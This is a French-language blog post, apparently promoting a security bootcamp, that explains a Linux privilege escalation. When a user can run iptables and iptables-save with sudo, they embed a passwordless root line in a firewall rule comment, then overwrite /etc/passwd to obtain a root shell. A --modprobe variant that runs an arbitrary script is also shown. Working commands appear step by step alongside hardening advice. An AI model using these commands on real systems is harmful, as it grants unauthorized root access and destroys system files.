Le commentaire qui valait un root 🏴☠️
Comment une simple règle iptables peut te transformer en superutilisateur — sans exploit, sans bruit, et sous le nez de l’admin.
Un jour t’es un utilisateur lambda.
Le lendemain t’es root.
Pas grâce à une 0-day.
Pas grâce à un malware ukraino-chinois obfusqué en Rust.
Non.
Grâce à un commentaire. Dans iptables.
Le genre de champ que personne ne lit.
Mais que le système, lui, prend très au sérieux.
Accroche-toi, on va démonter ensemble l’un des scénarios de local privilege escalation les plus élégants que j’aie vus ces derniers mois.
Et spoiler : il est basé uniquement sur des fonctions natives de Linux.
---
1. Le contexte (aka le terrain de jeu)
Tu es sur une machine Linux.
Tu as une shell.
Mais pas de droits root.
Par contre, tu peux exécuter iptables et iptables-save avec sudo, sans mot de passe.
Une situation plus fréquente qu’on ne le pense dans certains environnements mal configurés.
C’est-à-dire qu’un binaire réseau t’autorise à interagir avec le système en tant que root,
mais seulement sur lui-même.
Sauf que… ce binaire, c’est iptables. Et iptables, c’est un peu le couteau suisse des règles tordues.
---
2. Étape 1 – Ajouter une règle… avec un twist
Commençons simplement :
sudo iptables -A INPUT -i lo -j ACCEPTCette commande ajoute une règle qui accepte tout trafic en provenance de l’interface loopback.
Et maintenant, on ajoute un commentaire à cette règle :
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment "Tout est normal ici"Jusqu’ici, tout va bien.
Mais voilà l’astuce : iptables accepte les retours à la ligne dans les commentaires,
si on les encode correctement avec $'...' :
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'root::0:0:root:/root:/bin/bash\nTout est normal ici aussi'Tu vois où ça va ?
On vient d’insérer une ligne complète dans le format [/]etc[/]passwd dans une règle iptables.
Et là tu te dis :
"Oui bon… mais c’est juste un commentaire, hein ?"
Attends.
3. Étape 2 – Écraser [/]etc[/]passwd
C’est ici que le deuxième outil entre en scène : iptables-save.
Ce petit utilitaire fait une chose simple :
Il dump toutes les règles du pare-feu dans un fichier.
Et si tu l’exécutes avec l’option -f, tu peux choisir où il écrit.
Devine quoi ?
sudo iptables-save -f [/]etc[/]passwd
Tu viens de remplacer le fichier [/]etc[/]passwd avec les règles iptables actuelles.
Et dedans, il y a quoi ?
Une ligne root::0:0:root:[/]root:[/]bin[/]bash… dans un commentaire.
Mais comme iptables-save dump tout en texte brut,
le commentaire devient une ligne valide dans le fichier [/]etc[/]passwd.
La suite, tu la connais :
su root
Pas de mot de passe ? Pas grave, le champ est vide.
T’as un shell root.
Et tout ça, parce que tu as pu commenter une règle de pare-feu.
4. Étape 3 – Variante avec –modprobe (bonus)
Tu penses que c’est terminé ?
Non.
iptables dispose aussi d’un flag peu connu mais redoutable : --modprobe.
sudo iptables -L -t nat --modprobe=./run-me
Si certains modules kernel ne sont pas chargés,
iptables utilisera le binaire que tu lui fournis pour tenter de les charger.
Tu peux donc faire un petit script run-me contenant #!/bin/bash et l’exécuter automatiquement.
Attention : cette technique dépend du fait que les modules kernel requis ne soient pas déjà chargés.
C’est rare sur une distrib moderne, mais courant sur un device embarqué ou minimaliste.
5. Pourquoi ça marche ? (et pourquoi c’est dangereux)
Ce genre d’élévation de privilège repose sur 3 éléments :
Des commandes sudo limitées mais mal choisies
Des outils systèmes avec des comportements détournables
Une ignorance du fait que certains commentaires… ne sont pas si innocents
C’est le genre de combinaison qu’aucun scanner de vulnérabilité classique ne détecte.
Et pourtant, n’importe quel pentester ou attaquant un peu curieux
peut transformer un banal accès sudo iptables en shell root en moins de 30 secondes.
6. Leçons à retenir
Les commentaires, c’est comme les stagiaires : il faut les encadrer.
Laisser un outil accepter des commentaires multi-lignes sans validation, c’est ouvrir la porte aux abus.
Limiter sudo à un binaire ne suffit pas.
Il faut comprendre les side-effects de chaque outil.
Tu veux donner tcpdump en sudo ? Tu viens de filer un shell root.
Fais tourner sudo -l sur tous les comptes utilisateurs.
Et demande-toi à chaque ligne : “Est-ce que ça pourrait écrire, charger, ou exécuter quelque chose ?”
Conclusion :
Ce genre d’attaque est rare, mais quand elle est possible, elle est imparable.
Elle ne repose ni sur une faille, ni sur un exploit externe.
Elle utilise simplement les outils système… comme ils sont conçus.
Et si tu penses que iptables est là pour te protéger, rappelle-toi qu’un simple commentaire peut te cramer plus vite qu’un audit de l’ANSSI.
—
PS : Si tu développes des appliances réseau, des firewalls, ou des systèmes embarqués…
et que tu veux éviter ce genre de faille élégante mais catastrophique : on peut t’aider.
On les trouve. On les documente. On t’en protège.
Et on le fait avant que quelqu’un d’autre les exploite.
Voilà, maintenant tu sais comment un commentaire dans iptables peut devenir une passerelle vers le compte root.
Pas besoin de 0-day, pas besoin de backdoor, juste une bonne compréhension du fonctionnement des outils Unix… et un brin de malice.
Et si ce genre d’abus te parle, si t’as envie de maîtriser ce type de techniques, ou de devenir celui ou celle qui les détecte avant qu’elles explosent la prod…
Alors sache que le bootcamp Zeroday Cyber Academy ferme bientôt les candidatures pour la session du 5 mai.
C’est 8 semaines, en petit groupe, hors des heures de bureau, pour apprendre à penser comme un attaquant, défendre comme un expert, et te positionner comme un profil recherché sur les offres de mission CDI et freelance qu’on a dans le pipe pour nos apprenants.
Et les commentaires ne te sauveront pas.
Super. C'était également une des méthodes à exploiter sur une certaine room de tryhackme.